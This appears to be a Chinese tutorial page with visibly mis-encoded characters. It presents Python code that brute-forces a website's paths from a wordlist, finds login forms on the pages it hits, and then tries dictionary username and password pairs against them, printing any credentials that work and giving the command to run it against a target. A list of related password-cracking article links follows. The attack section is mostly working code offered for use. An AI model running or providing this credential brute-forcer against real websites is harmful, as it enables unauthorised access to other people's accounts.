python遍歷路徑破解表單的示例
首先是利用python遍歷路徑,采用字典爆破的形式,當(dāng)然如果只是單純的爆破路徑,簡(jiǎn)單寫(xiě)一個(gè)多線程腳本就行了。這里考慮如何對(duì)爆破到的路徑進(jìn)行第二步利用,此處嘗試對(duì)猜解到的路徑進(jìn)行表單發(fā)現(xiàn)及登陸爆破處理。
首先就是路徑爆破,采用多線程隊(duì)列,爆破路徑,判斷形式為200響應(yīng)碼。
while not self._queue.empty():
queue = self._queue.get(timeout=0.5)
try:
r = requests.get(self.url+queue,timeout=5, headers=self.headers)
if r.status_code == 200:
print "[200] %s" %(queue)
soup = BeautifulSoup(r.content,'html.parser')
if soup.find('form'):
self.brute(soup, queue)
猜解到路徑后交給brute方法處理,方法實(shí)現(xiàn)了一個(gè)css選擇器,獲取form表單中的input字段標(biāo)簽,提取標(biāo)簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉(zhuǎn)頁(yè)面,如沒(méi)有頁(yè)面默認(rèn)在當(dāng)前表單頁(yè)提交。
input = soup.select("form input")
for i in input:
try:
if i.attrs['type'] == "hidden":
name, value = i.attrs['name'], i.attrs['value']
list_post.append(name+'='+value)
elif i.attrs['type'] == 'password':
name = i.attrs['name']
list_post.append(name+'=$$$')
else:
name = i.attrs['name']
list_post.append(name+'=%%%')
except:
continue
for i in list_post:
post = post + i + '&'
action = soup.find_all('form')
for i in action:
if i['action']:
actiontag = i['action']
else:
actiontag = queue
self.payload(post, actiontag)
獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫(kù)的session登陸。獲取cookie,先采用session請(qǐng)求獲取cookie后,再采用session攜帶cookie進(jìn)行請(qǐng)求提交。然后對(duì)輸入的驗(yàn)證值進(jìn)行判斷是否為登陸成功。
for name in self.username():
post_user = post.replace('%%%',name.strip())
for pwd in self.password():
post_pwd = post_user.replace('$$$',pwd.strip())
session = requests.Session()
session.get(self.url+'/'+action, headers=self.headers, verify=False)
r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
if self.word in r.content:
print '[username] %s' %name +'\r' + '[password] %s' %pwd
return
為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為
python xxx.py http://xxxx.com xxxxx
以上就是python遍歷路徑破解表單的示例的詳細(xì)內(nèi)容,更多關(guān)于python 破解表單的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
- Python爬蟲(chóng)如何破解JS加密的Cookie
- Python爬蟲(chóng)實(shí)現(xiàn)Cookie模擬登錄
- Python暴力破解Mysql數(shù)據(jù)的示例
- python破解同事的壓縮包密碼
- python簡(jiǎn)單利用字典破解zip文件口令
- Python破解BiliBili滑塊驗(yàn)證碼的思路詳解(完美避開(kāi)人機(jī)識(shí)別)
- 詳解python破解zip文件密碼的方法
- 如何使用Python破解ZIP或RAR壓縮文件密碼
- Python爬取破解無(wú)線網(wǎng)絡(luò)wifi密碼過(guò)程解析
- python 利用pywifi模塊實(shí)現(xiàn)連接網(wǎng)絡(luò)破解wifi密碼實(shí)時(shí)監(jiān)控網(wǎng)絡(luò)
相關(guān)文章
Python不改變Excel單元格樣式方式—xls和xlsx兩種格式
這篇文章主要介紹了Python不改變Excel單元格樣式方式—xls和xlsx兩種格式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-06-06
python用opencv將標(biāo)注提取畫(huà)框到對(duì)應(yīng)的圖像中
這篇文章主要介紹了python用opencv將標(biāo)注提取畫(huà)框到對(duì)應(yīng)的圖像中,文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-08-08
基于Python+Flask實(shí)現(xiàn)一個(gè)簡(jiǎn)易網(wǎng)頁(yè)驗(yàn)證碼登錄系統(tǒng)案例
當(dāng)今的互聯(lián)網(wǎng)世界中,為了防止惡意訪問(wèn),許多網(wǎng)站在登錄和注冊(cè)表單中都采用了驗(yàn)證碼技術(shù),驗(yàn)證碼可以防止機(jī)器人自動(dòng)提交表單,確保提交行為背后有一個(gè)真實(shí)的人類用戶,本文將向您展示如何使用Python的Flask框架來(lái)創(chuàng)建一個(gè)簡(jiǎn)單的驗(yàn)證碼登錄系統(tǒng)2023-09-09
Pytorch訓(xùn)練模型得到輸出后計(jì)算F1-Score 和AUC的操作
這篇文章主要介紹了Pytorch訓(xùn)練模型得到輸出后計(jì)算F1-Score 和AUC的操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-05-05
python利用pandas和csv包向一個(gè)csv文件寫(xiě)入或追加數(shù)據(jù)
這篇文章主要給大家介紹了關(guān)于python利用pandas和csv包向一個(gè)csv文件寫(xiě)入或追加數(shù)據(jù)的相關(guān)資料,我們?cè)絹?lái)越多的使用pandas進(jìn)行數(shù)據(jù)處理,有時(shí)需要向一個(gè)已經(jīng)存在的csv文件寫(xiě)入數(shù)據(jù),需要的朋友可以參考下2023-07-07
Python 實(shí)戰(zhàn)開(kāi)發(fā)校園管理系統(tǒng)詳細(xì)流程
讀萬(wàn)卷書(shū)不如行萬(wàn)里路,只學(xué)書(shū)上的理論是遠(yuǎn)遠(yuǎn)不夠的,只有在實(shí)戰(zhàn)中才能獲得能力的提升,本篇文章手把手帶你用Python開(kāi)發(fā)一套校園管理系統(tǒng),包含各種人員,如教師、學(xué)生等。學(xué)校的系統(tǒng)通常還包括一些課程的信息,大家可以在過(guò)程中查缺補(bǔ)漏,提升水平2021-10-10
python向已存在的excel中新增表,不覆蓋原數(shù)據(jù)的實(shí)例
下面小編就為大家分享一篇python向已存在的excel中新增表,不覆蓋原數(shù)據(jù)的實(shí)例,具有很好超參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-05-05
關(guān)于Python3的import問(wèn)題(pycharm可以運(yùn)行命令行import錯(cuò)誤)
這篇文章主要介紹了關(guān)于Python3的import問(wèn)題(pycharm可以運(yùn)行命令行import錯(cuò)誤),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-11-11

